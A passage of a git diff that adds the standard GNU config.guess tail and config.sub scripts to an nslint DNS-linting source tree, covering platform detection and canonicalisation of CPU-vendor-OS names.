SEI:*:*:SEIUX) + echo mips-sei-seiux${UNAME_RELEASE} + exit 0 ;; +esac + +#echo '(No uname command or uname output not recognized.)' 1>&2 +#echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2 + +eval $set_cc_for_build +cat >$dummy.c < +# include +#endif +main () +{ +#if defined (sony) +#if defined (MIPSEB) + /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, + I don't know.... */ + printf ("mips-sony-bsd\n"); exit (0); +#else +#include + printf ("m68k-sony-newsos%s\n", +#ifdef NEWSOS4 + "4" +#else + "" +#endif + ); exit (0); +#endif +#endif + +#if defined (__arm) && defined (__acorn) && defined (__unix) + printf ("arm-acorn-riscix"); exit (0); +#endif + +#if defined (hp300) && !defined (hpux) + printf ("m68k-hp-bsd\n"); exit (0); +#endif + +#if defined (NeXT) +#if !defined (__ARCHITECTURE__) +#define __ARCHITECTURE__ "m68k" +#endif + int version; + version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`; + if (version < 4) + printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); + else + printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); + exit (0); +#endif + +#if defined (MULTIMAX) || defined (n16) +#if defined (UMAXV) + printf ("ns32k-encore-sysv\n"); exit (0); +#else +#if defined (CMU) + printf ("ns32k-encore-mach\n"); exit (0); +#else + printf ("ns32k-encore-bsd\n"); exit (0); +#endif +#endif +#endif + +#if defined (__386BSD__) + printf ("i386-pc-bsd\n"); exit (0); +#endif + +#if defined (sequent) +#if defined (i386) + printf ("i386-sequent-dynix\n"); exit (0); +#endif +#if defined (ns32000) + printf ("ns32k-sequent-dynix\n"); exit (0); +#endif +#endif + +#if defined (_SEQUENT_) + struct utsname un; + + uname(&un); + + if (strncmp(un.version, "V2", 2) == 0) { + printf ("i386-sequent-ptx2\n"); exit (0); + } + if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ + printf ("i386-sequent-ptx1\n"); exit (0); + } + printf ("i386-sequent-ptx\n"); exit (0); + +#endif + +#if defined (vax) +# if !defined (ultrix) +# include +# if defined (BSD) +# if BSD == 43 + printf ("vax-dec-bsd4.3\n"); exit (0); +# else +# if BSD == 199006 + printf ("vax-dec-bsd4.3reno\n"); exit (0); +# else + printf ("vax-dec-bsd\n"); exit (0); +# endif +# endif +# else + printf ("vax-dec-bsd\n"); exit (0); +# endif +# else + printf ("vax-dec-ultrix\n"); exit (0); +# endif +#endif + +#if defined (alliant) && defined (i860) + printf ("i860-alliant-bsd\n"); exit (0); +#endif + + exit (1); +} +EOF + +$CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null && $dummy && exit 0 + +# Apollos put the system type in the environment. + +test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit 0; } + +# Convex versions that predate uname can use getsysinfo(1) + +if [ -x /usr/convex/getsysinfo ] +then + case `getsysinfo -f cpu_type` in + c1*) + echo c1-convex-bsd + exit 0 ;; + c2*) + if getsysinfo -f scalar_acc + then echo c32-convex-bsd + else echo c2-convex-bsd + fi + exit 0 ;; + c34*) + echo c34-convex-bsd + exit 0 ;; + c38*) + echo c38-convex-bsd + exit 0 ;; + c4*) + echo c4-convex-bsd + exit 0 ;; + esac +fi + +cat >&2 < in order to provide the needed +information to handle your system. + +config.guess timestamp = $timestamp + +uname -m = `(uname -m) 2>/dev/null || echo unknown` +uname -r = `(uname -r) 2>/dev/null || echo unknown` +uname -s = `(uname -s) 2>/dev/null || echo unknown` +uname -v = `(uname -v) 2>/dev/null || echo unknown` + +/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null` +/bin/uname -X = `(/bin/uname -X) 2>/dev/null` + +hostinfo = `(hostinfo) 2>/dev/null` +/bin/universe = `(/bin/universe) 2>/dev/null` +/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null` +/bin/arch = `(/bin/arch) 2>/dev/null` +/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null` +/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null` + +UNAME_MACHINE = ${UNAME_MACHINE} +UNAME_RELEASE = ${UNAME_RELEASE} +UNAME_SYSTEM = ${UNAME_SYSTEM} +UNAME_VERSION = ${UNAME_VERSION} +EOF + +exit 1 + +# Local variables: +# eval: (add-hook 'write-file-hooks 'time-stamp) +# time-stamp-start: "timestamp='" +# time-stamp-format: "%:y-%02m-%02d" +# time-stamp-end: "'" +# End: diff --git a/dns-projects/nslint-2.1a8/config.sub b/dns-projects/nslint-2.1a8/config.sub new file mode 100755 index 0000000..9d7f733 --- /dev/null +++ b/dns-projects/nslint-2.1a8/config.sub @@ -0,0 +1,1504 @@ +#! /bin/sh +# Configuration validation subroutine script. +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, +# 2000, 2001, 2002, 2003 Free Software Foundation, Inc. + +timestamp='2003-07-04' + +# This file is (in principle) common to ALL GNU software. +# The presence of a machine in this file suggests that SOME GNU software +# can handle that machine. It does not imply ALL GNU software can. +# +# This file is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, +# Boston, MA 02111-1307, USA. + +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# Please send patches to . Submit a context +# diff and a properly formatted ChangeLog entry. +# +# Configuration subroutine to validate and canonicalize a configuration type. +# Supply the specified configuration type as an argument. +# If it is invalid, we print an error message on stderr and exit with code 1. +# Otherwise, we print the canonical config type on stdout and succeed. + +# This file is supposed to be the same for all GNU packages +# and recognize all the CPU types, system types and aliases +# that are meaningful with *any* GNU software. +# Each package is responsible for reporting which valid configurations +# it does not support. The user should be able to distinguish +# a failure to support a valid configuration from a meaningless +# configuration. + +# The goal of this file is to map all the various variations of a given +# machine specification into a single specification in the form: +# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM +# or in some cases, the newer four-part form: +# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM +# It is wrong to echo any other type of specification. + +me=`echo "$0" | sed -e 's,.*/,,'` + +usage="\ +Usage: $0 [OPTION] CPU-MFR-OPSYS + $0 [OPTION] ALIAS + +Canonicalize a configuration name. + +Operation modes: + -h, --help print this help, then exit + -t, --time-stamp print date of last modification, then exit + -v, --version print version number, then exit + +Report bugs and patches to ." + +version="\ +GNU config.sub ($timestamp) + +Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001 +Free Software Foundation, Inc. + +This is free software; see the source for copying conditions. There is NO +warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." + +help=" +Try \`$me --help' for more information." + +# Parse command line +while test $# -gt 0 ; do + case $1 in + --time-stamp | --time* | -t ) + echo "$timestamp" ; exit 0 ;; + --version | -v ) + echo "$version" ; exit 0 ;; + --help | --h* | -h ) + echo "$usage"; exit 0 ;; + -- ) # Stop option processing + shift; break ;; + - ) # Use stdin as input. + break ;; + -* ) + echo "$me: invalid option $1$help" + exit 1 ;; + + *local*) + # First pass through any local machine types. + echo $1 + exit 0;; + + * ) + break ;; + esac +done + +case $# in + 0) echo "$me: missing argument$help" >&2 + exit 1;; + 1) ;; + *) echo "$me: too many arguments$help" >&2 + exit 1;; +esac + +# Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any). +# Here we must recognize all the valid KERNEL-OS combinations. +maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'` +case $maybe_os in + nto-qnx* | linux-gnu* | kfreebsd*-gnu* | netbsd*-gnu* | storm-chaos* | os2-emx* | rtmk-nova*) + os=-$maybe_os + basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'` + ;; + *) + basic_machine=`echo $1 | sed 's/-[^-]*$//'` + if [ $basic_machine != $1 ] + then os=`echo $1 | sed 's/.*-/-/'` + else os=; fi + ;; +esac + +### Let's recognize common machines as not being operating systems so +### that things like config.sub decstation-3100 work. We also +### recognize some manufacturers as not being operating systems, so we +### can provide default operating systems below. +case $os in + -sun*os*) + # Prevent following clause from handling this invalid input. + ;; + -dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \ + -att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \ + -unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \ + -convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\ + -c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \ + -harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \ + -apple | -axis) + os= + basic_machine=$1 + ;; + -sim | -cisco | -oki | -wec | -winbond) + os= + basic_machine=$1 + ;; + -scout) + ;; + -wrs) + os=-vxworks + basic_machine=$1 + ;; + -chorusos*) + os=-chorusos + basic_machine=$1 + ;; + -chorusrdb) + os=-chorusrdb + basic_machine=$1 + ;; + -hiux*) + os=-hiuxwe2 + ;; + -sco5) + os=-sco3.2v5 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco4) + os=-sco3.2v4 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco3.2.[4-9]*) + os=`echo $os | sed -e 's/sco3.2./sco3.2v/'` + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco3.2v[4-9]*) + # Don't forget version if it is 3.2v4 or newer. + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco*) + os=-sco3.2v2 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -udk*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -isc) + os=-isc2.2 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -clix*) + basic_machine=clipper-intergraph + ;; + -isc*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -lynx*) + os=-lynxos + ;; + -ptx*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'` + ;; + -windowsnt*) + os=`echo $os | sed -e 's/windowsnt/winnt/'` + ;; + -psos*) + os=-psos + ;; + -mint | -mint[0-9]*) + basic_machine=m68k-atari + os=-mint + ;; +esac + +# Decode aliases for certain CPU-COMPANY combinations. +case $basic_machine in + # Recognize the basic CPU types without company name. + # Some are omitted here because they have special meanings below. + 1750a | 580 \ + | a29k \ + | alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \ + | alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \ + | arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr \ + | c4x | clipper \ + | d10v | d30v | dlx | dsp16xx \ + | fr30 | frv \ + | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \ + | i370 | i860 | i960 | ia64 \ + | ip2k \ + | m32r | m68000 | m68k | m88k | mcore \ + | mips | mipsbe | mipseb | mipsel | mipsle \ + | mips16 \ + | mips64 | mips64el \ + | mips64vr | mips64vrel \ + | mips64orion | mips64orionel \ + | mips64vr4100 | mips64vr4100el \ + | mips64vr4300 | mips64vr4300el \ + | mips64vr5000 | mips64vr5000el \ + | mipsisa32 | mipsisa32el \ + | mipsisa32r2 | mipsisa32r2el \ + | mipsisa64 | mipsisa64el \ + | mipsisa64sb1 | mipsisa64sb1el \ + | mipsisa64sr71k | mipsisa64sr71kel \ + | mipstx39 | mipstx39el \ + | mn10200 | mn10300 \ + | msp430 \ + | ns16k | ns32k \ + | openrisc | or32 \ + | pdp10 | pdp11 | pj | pjl \ + | powerpc | powerpc64 | powerpc64le | powerpcle | ppcbe \ + | pyramid \ + | sh | sh[1234] | sh[23]e | sh[34]eb | shbe | shle | sh[1234]le | sh3ele \ + | sh64 | sh64le \ + | sparc | sparc64 | sparc86x | sparclet | sparclite | sparcv9 | sparcv9b \ + | strongarm \ + | tahoe | thumb | tic4x | tic80 | tron \ + | v850 | v850e \ + | we32k \ + | x86 | xscale | xstormy16 | xtensa \ + | z8k) + basic_machine=$basic_machine-unknown + ;; + m6811 | m68hc11 | m6812 | m68hc12) + # Motorola 68HC11/12. + basic_machine=$basic_machine-unknown + os=-none + ;; + m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k) + ;; + + # We use `pc' rather than `unknown' + # because (1) that's what they normally are, and + # (2) the word "unknown" tends to confuse beginning users. + i*86 | x86_64) + basic_machine=$basic_machine-pc + ;; + # Object if more than one company name word. + *-*-*) + echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 + exit 1 + ;; + # Recognize the basic CPU types with company name. + 580-* \ + | a29k-* \ + | alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \ + | alpha64-* | alpha64ev[4-8]-* | alpha64ev56-* | alpha64ev6[78]-* \ + | alphapca5[67]-* | alpha64pca5[67]-* | amd64-* | arc-* \ + | arm-* | armbe-* | armle-* | armeb-* | armv*-* \ + | avr-* \ + | bs2000-* \ + | c[123]* | c30-* | [cjt]90-* | c4x-* | c54x-* | c55x-* | c6x-* \ + | clipper-* | cydra-* \ + | d10v-* | d30v-* | dlx-* \ + | elxsi-* \ + | f30[01]-* | f700-* | fr30-* | frv-* | fx80-* \ + | h8300-* | h8500-* \ + | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \ + | i*86-* | i860-* | i960-* | ia64-* \ + | ip2k-* \ + | m32r-* \ + | m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \ + | m88110-* | m88k-* | mcore-* \ + | mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \ + | mips16-* \ + | mips64-* | mips64el-* \ + | mips64vr-* | mips64vrel-* \ + | mips64orion-* | mips64orionel-* \ + | mips64vr4100-* | mips64vr4100el-* \ + | mips64vr4300-* | mips64vr4300el-* \ + | mips64vr5000-* | mips64vr5000el-* \ + | mipsisa32-* | mipsisa32el-* \ + | mipsisa32r2-* | mipsisa32r2el-* \ + | mipsisa64-* | mipsisa64el-* \ + | mipsisa64sb1-* | mipsisa64sb1el-* \ + | mipsisa64sr71k-* | mipsisa64sr71kel-* \ + | mipstx39-* | mipstx39el-* \ + | msp430-* \ + | none-* | np1-* | nv1-* | ns16k-* | ns32k-* \ + | orion-* \ + | pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \ + | powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* | ppcbe-* \ + | pyramid-* \ + | romp-* | rs6000-* \ + | sh-* | sh[1234]-* | sh[23]e-* | sh[34]eb-* | shbe-* \ + | shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \ + | sparc-* | sparc64-* | sparc86x-* | sparclet-* | sparclite-* \ + | sparcv9-* | sparcv9b-* | strongarm-* | sv1-* | sx?-* \ + | tahoe-* | thumb-* \ + | tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \ + | tron-* \ + | v850-* | v850e-* | vax-* \ + | we32k-* \ + | x86-* | x86_64-* | xps100-* | xscale-* | xstormy16-* \ + | xtensa-* \ + | ymp-* \ + | z8k-*) + ;; + # Recognize the various machine names and aliases which stand + # for a CPU type and a company and sometimes even an OS. + 386bsd) + basic_machine=i386-unknown + os=-bsd + ;; + 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) + basic_machine=m68000-att + ;; + 3b*) + basic_machine=we32k-att + ;; + a29khif) + basic_machine=a29k-amd + os=-udi + ;; + adobe68k) + basic_machine=m68010-adobe + os=-scout + ;; + alliant | fx80) + basic_machine=fx80-alliant + ;; + altos | altos3068) + basic_machine=m68k-altos + ;; + am29k) + basic_machine=a29k-none + os=-bsd + ;; + amd64) + basic_machine=x86_64-pc + ;; + amdahl) + basic_machine=580-amdahl + os=-sysv + ;; + amiga | amiga-*) + basic_machine=m68k-unknown + ;; + amigaos | amigados) + basic_machine=m68k-unknown + os=-amigaos + ;; + amigaunix | amix) + basic_machine=m68k-unknown + os=-sysv4 + ;; + apollo68) + basic_machine=m68k-apollo + os=-sysv + ;; + apollo68bsd) + basic_machine=m68k-apollo + os=-bsd + ;; + aux) + basic_machine=m68k-apple + os=-aux + ;; + balance) + basic_machine=ns32k-sequent + os=-dynix + ;; + c90) + basic_machine=c90-cray + os=-unicos + ;; + convex-c1) + basic_machine=c1-convex + os=-bsd + ;; + convex-c2) + basic_machine=c2-convex + os=-bsd + ;; + convex-c32) + basic_machine=c32-convex + os=-bsd + ;; + convex-c34) + basic_machine=c34-convex + os=-bsd + ;; + convex-c38) + basic_machine=c38-convex + os=-bsd + ;; + cray | j90) + basic_machine=j90-cray + os=-unicos + ;; + crds | unos) + basic_machine=m68k-crds + ;; + cris | cris-* | etrax*) + basic_machine=cris-axis + ;; + da30 | da30-*) + basic_machine=m68k-da30 + ;; + decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn) + basic_machine=mips-dec + ;; + decsystem10* | dec10*) + basic_machine=pdp10-dec + os=-tops10 + ;; + decsystem20* | dec20*) + basic_machine=pdp10-dec + os=-tops20 + ;; + delta | 3300 | motorola-3300 | motorola-delta \ + | 3300-motorola | delta-motorola) + basic_machine=m68k-motorola + ;; + delta88) + basic_machine=m88k-motorola + os=-sysv3 + ;; + dpx20 | dpx20-*) + basic_machine=rs6000-bull + os=-bosx + ;; + dpx2* | dpx2*-bull) + basic_machine=m68k-bull + os=-sysv3 + ;; + ebmon29k) + basic_machine=a29k-amd + os=-ebmon + ;; + elxsi) + basic_machine=elxsi-elxsi + os=-bsd + ;; + encore | umax | mmax) + basic_machine=ns32k-encore + ;; + es1800 | OSE68k | ose68k | ose | OSE) + basic_machine=m68k-ericsson + os=-ose + ;; + fx2800) + basic_machine=i860-alliant + ;; + genix) + basic_machine=ns32k-ns + ;; + gmicro) + basic_machine=tron-gmicro + os=-sysv + ;; + go32) + basic_machine=i386-pc + os=-go32 + ;; + h3050r* | hiux*) + basic_machine=hppa1.1-hitachi + os=-hiuxwe2 + ;; + h8300hms) + basic_machine=h8300-hitachi + os=-hms + ;; + h8300xray) + basic_machine=h8300-hitachi + os=-xray + ;; + h8500hms) + basic_machine=h8500-hitachi + os=-hms + ;; + harris) + basic_machine=m88k-harris + os=-sysv3 + ;; + hp300-*) + basic_machine=m68k-hp + ;; + hp300bsd) + basic_machine=m68k-hp + os=-bsd + ;; + hp300hpux) + basic_machine=m68k-hp + os=-hpux + ;; + hp3k9[0-9][0-9] | hp9[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hp9k2[0-9][0-9] | hp9k31[0-9]) + basic_machine=m68000-hp + ;; + hp9k3[2-9][0-9]) + basic_machine=m68k-hp + ;; + hp9k6[0-9][0-9] | hp6[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hp9k7[0-79][0-9] | hp7[0-79][0-9]) + basic_machine=hppa1.1-hp + ;; + hp9k78[0-9] | hp78[0-9]) + # FIXME: really hppa2.0-hp + basic_machine=hppa1.1-hp + ;; + hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) + # FIXME: really hppa2.0-hp + basic_machine=hppa1.1-hp + ;; + hp9k8[0-9][13679] | hp8[0-9][13679]) + basic_machine=hppa1.1-hp + ;; + hp9k8[0-9][0-9] | hp8[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hppa-next) + os=-nextstep3 + ;; + hppaosf) + basic_machine=hppa1.1-hp + os=-osf + ;; + hppro) + basic_machine=hppa1.1-hp + os=-proelf + ;; + i370-ibm* | ibm*) + basic_machine=i370-ibm + ;; +# I'm not sure what "Sysv32" means. Should this be sysv3.2? + i*86v32) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv32 + ;; + i*86v4*) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv4 + ;; + i*86v) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv + ;; + i*86sol2) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-solaris2 + ;; + i386mach) + basic_machine=i386-mach + os=-mach + ;; + i386-vsta | vsta) + basic_machine=i386-unknown + os=-vsta + ;; + iris | iris4d) + basic_machine=mips-sgi + case $os in + -irix*) + ;; + *) + os=-irix4 + ;; + esac + ;; + isi68 | isi) + basic_machine=m68k-isi + os=-sysv + ;; + m88k-omron*) + basic_machine=m88k-omron + ;; + magnum | m3230) + basic_machine=mips-mips + os=-sysv + ;; + merlin) + basic_machine=ns32k-utek + os=-sysv + ;; + mingw32) + basic_machine=i386-pc + os=-mingw32 + ;; + miniframe) + basic_machine=m68000-convergent + ;; + *mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*) + basic_machine=m68k-atari + os=-mint + ;; + mips3*-*) + basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'` + ;; + mips3*) + basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown + ;; + mmix*) + basic_machine=mmix-knuth + os=-mmixware + ;; + monitor) + basic_machine=m68k-rom68k + os=-coff + ;; + morphos) + basic_machine=powerpc-unknown + os=-morphos + ;; + msdos) + basic_machine=i386-pc + os=-msdos + ;; + mvs) + basic_machine=i370-ibm + os=-mvs + ;; + ncr3000) + basic_machine=i486-ncr + os=-sysv4 + ;; + netbsd386) + basic_machine=i386-unknown + os=-netbsd + ;; + netwinder) + basic_machine=armv4l-rebel + os=-linux + ;; + news | news700 | news800 | news900) + basic_machine=m68k-sony + os=-newsos + ;; + news1000) + basic_machine=m68030-sony + os=-newsos + ;; + news-3600 | risc-news) + basic_machine=mips-sony + os=-newsos + ;; + necv70) + basic_machine=v70-nec + os=-sysv + ;; + next | m*-next ) + basic_machine=m68k-next + case $os in + -nextstep* ) + ;; + -ns2*) + os=-nextstep2 + ;; + *) + os=-nextstep3 + ;; + esac + ;; + nh3000) + basic_machine=m68k-harris + os=-cxux + ;; + nh[45]000) + basic_machine=m88k-harris + os=-cxux + ;; + nindy960) + basic_machine=i960-intel + os=-nindy + ;; + mon960) + basic_machine=i960-intel + os=-mon960 + ;; + nonstopux) + basic_machine=mips-compaq + os=-nonstopux + ;; + np1) + basic_machine=np1-gould + ;; + nv1) + basic_machine=nv1-cray + os=-unicosmp + ;; + nsr-tandem) + basic_machine=nsr-tandem + ;; + op50n-* | op60c-*) + basic_machine=hppa1.1-oki + os=-proelf + ;; + or32 | or32-*) + basic_machine=or32-unknown + os=-coff + ;; + OSE68000 | ose68000) + basic_machine=m68000-ericsson + os=-ose + ;; + os68k) + basic_machine=m68k-none + os=-os68k + ;; + pa-hitachi) + basic_machine=hppa1.1-hitachi + os=-hiuxwe2 + ;; + paragon) + basic_machine=i860-intel + os=-osf + ;; + pbd) + basic_machine=sparc-tti + ;; + pbb) + basic_machine=m68k-tti + ;; + pc532 | pc532-*) + basic_machine=ns32k-pc532 + ;; + pentium | p5 | k5 | k6 | nexgen | viac3) + basic_machine=i586-pc + ;; + pentiumpro | p6 | 6x86 | athlon | athlon_*) + basic_machine=i686-pc + ;; + pentiumii | pentium2 | pentiumiii | pentium3) + basic_machine=i686-pc + ;; + pentium4) + basic_machine=i786-pc + ;; + pentium-* | p5-* | k5-* | k6-* | nexgen-* | viac3-*) + basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentiumpro-* | p6-* | 6x86-* | athlon-*) + basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentiumii-* | pentium2-* | pentiumiii-* | pentium3-*) + basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentium4-*) + basic_machine=i786-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pn) + basic_machine=pn-gould + ;; + power) basic_machine=power-ibm + ;; + ppc) basic_machine=powerpc-unknown + ;; + ppc-*) basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ppcle | powerpclittle | ppc-le | powerpc-little) + basic_machine=powerpcle-unknown + ;; + ppcle-* | powerpclittle-*) + basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ppc64) basic_machine=powerpc64-unknown + ;; + ppc64-*) basic_machine=powerpc64-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ppc64le | powerpc64little | ppc64-le | powerpc64-little) + basic_machine=powerpc64le-unknown + ;; + ppc64le-* | powerpc64little-*) + basic_machine=powerpc64le-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ps2) + basic_machine=i386-ibm + ;; + pw32) + basic_machine=i586-unknown + os=-pw32 + ;; + rom68k) + basic_machine=m68k-rom68k + os=-coff + ;; + rm[46]00) + basic_machine=mips-siemens + ;; + rtpc | rtpc-*) + basic_machine=romp-ibm + ;; + s390 | s390-*) + basic_machine=s390-ibm + ;; + s390x | s390x-*) + basic_machine=s390x-ibm + ;; + sa29200) + basic_machine=a29k-amd + os=-udi + ;; + sb1) + basic_machine=mipsisa64sb1-unknown + ;; + sb1el) + basic_machine=mipsisa64sb1el-unknown + ;; + sei) + basic_machine=mips-sei + os=-seiux + ;; + sequent) + basic_machine=i386-sequent + ;; + sh) + basic_machine=sh-hitachi + os=-hms + ;; + sh64) + basic_machine=sh64-unknown + ;; + sparclite-wrs | simso-wrs) + basic_machine=sparclite-wrs + os=-vxworks + ;; + sps7) + basic_machine=m68k-bull + os=-sysv2 + ;; + spur) + basic_machine=spur-unknown + ;; + st2000) + basic_machine=m68k-tandem + ;; + stratus) + basic_machine=i860-stratus + os=-sysv4 + ;; + sun2) + basic_machine=m68000-sun + ;; + sun2os3) + basic_machine=m68000-sun + os=-sunos3 + ;; + sun2os4) + basic_machine=m68000-sun + os=-sunos4 + ;; + sun3os3) + basic_machine=m68k-sun + os=-sunos3 + ;; + sun3os4) + basic_machine=m68k-sun + os=-sunos4 + ;; + sun4os3) + basic_machine=sparc-sun + os=-sunos3 + ;; + sun4os4) + basic_machine=sparc-sun + os=-sunos4 + ;; + sun4sol2) + basic_machine=sparc-sun + os=-solaris2 + ;; + sun3 | sun3-*) + basic_machine=m68k-sun + ;; + sun4) + basic_machine=sparc-sun + ;; + sun386 | sun386i | roadrunner) + basic_machine=i386-sun + ;; + sv1) + basic_machine=sv1-cray + os=-unicos + ;; + symmetry) + basic_machine=i386-sequent + os=-dynix + ;; + t3e) + basic_machine=alphaev5-cray + os=-unicos + ;; + t90) + basic_machine=t90-cray + os=-unicos + ;; + tic54x | c54x*) + basic_machine=tic54x-unknown + os=-coff + ;; + tic55x | c55x*) + basic_machine=tic55x-unknown + os=-coff + ;; + tic6x | c6x*) + basic_machine=tic6x-unknown + os=-coff + ;; + tx39) + basic_machine=mipstx39-unknown + ;; + tx39el) + basic_machine=mipstx39el-unknown + ;; + toad1) + basic_machine=pdp10-xkl + os=-tops20 + ;; + tower | tower-32) + basic_machine=m68k-ncr + ;; + udi29k) + basic_machine=a29k-amd + os=-udi + ;; + ultra3) + basic_machine=a29k-nyu + os=-sym1 + ;; + v810 | necv810) + basic_machine=v810-nec + os=-none + ;; + vaxv) + basic_machine=vax-dec + os=-sysv + ;; + vms) + basic_machine=vax-dec + os=-vms + ;; + vpp*|vx|vx-*) + basic_machine=f301-fujitsu + ;; + vxworks960) + basic_machine=i960-wrs + os=-vxworks + ;; + vxworks68) + basic_machine=m68k-wrs + os=-vxworks + ;; + vxworks29k) + basic_machine=a29k-wrs + os=-vxworks + ;; + w65*) + basic_machine=w65-wdc + os=-none + ;; + w89k-*) + basic_machine=hppa1.1-winbond + os=-proelf + ;; + xps | xps100) + basic_machine=xps100-honeywell + ;; + ymp) + basic_machine=ymp-cray + os=-unicos + ;; + z8k-*-coff) + basic_machine=z8k-unknown + os=-sim + ;; + none) + basic_machine=none-none + os=-none + ;; + +# Here we handle the default manufacturer of certain CPU types. It is in +# some cases the only manufacturer, in others, it is the most popular. + w89k) + basic_machine=hppa1.1-winbond + ;; + op50n) + basic_machine=hppa1.1-oki + ;; + op60c) + basic_machine=hppa1.1-oki + ;; + romp) + basic_machine=romp-ibm + ;; + rs6000) + basic_machine=rs6000-ibm + ;; + vax) + basic_machine=vax-dec + ;; + pdp10) + # there are many clones, so DEC is not a safe bet + basic_machine=pdp10-unknown + ;; + pdp11) + basic_machine=pdp11-dec + ;; + we32k) + basic_machine=we32k-att + ;; + sh3 | sh4 | sh[34]eb | sh[1234]le | sh[23]ele) + basic_machine=sh-unknown + ;; + sh64) + basic_machine=sh64-unknown + ;; + sparc | sparcv9 | sparcv9b) + basic_machine=sparc-sun + ;; + cydra) + basic_machine=cydra-cydrome + ;; + orion) + basic_machine=orion-highlevel + ;; + orion105) + basic_machine=clipper-highlevel + ;; + mac | mpw | mac-mpw) + basic_machine=m68k-apple + ;; + pmac | pmac-mpw) + basic_machine=powerpc-apple + ;; + *-unknown) + # Make sure to match an already-canonicalized machine name. + ;; + *) + echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 + exit 1 + ;; +esac + +# Here we canonicalize certain aliases for manufacturers. +case 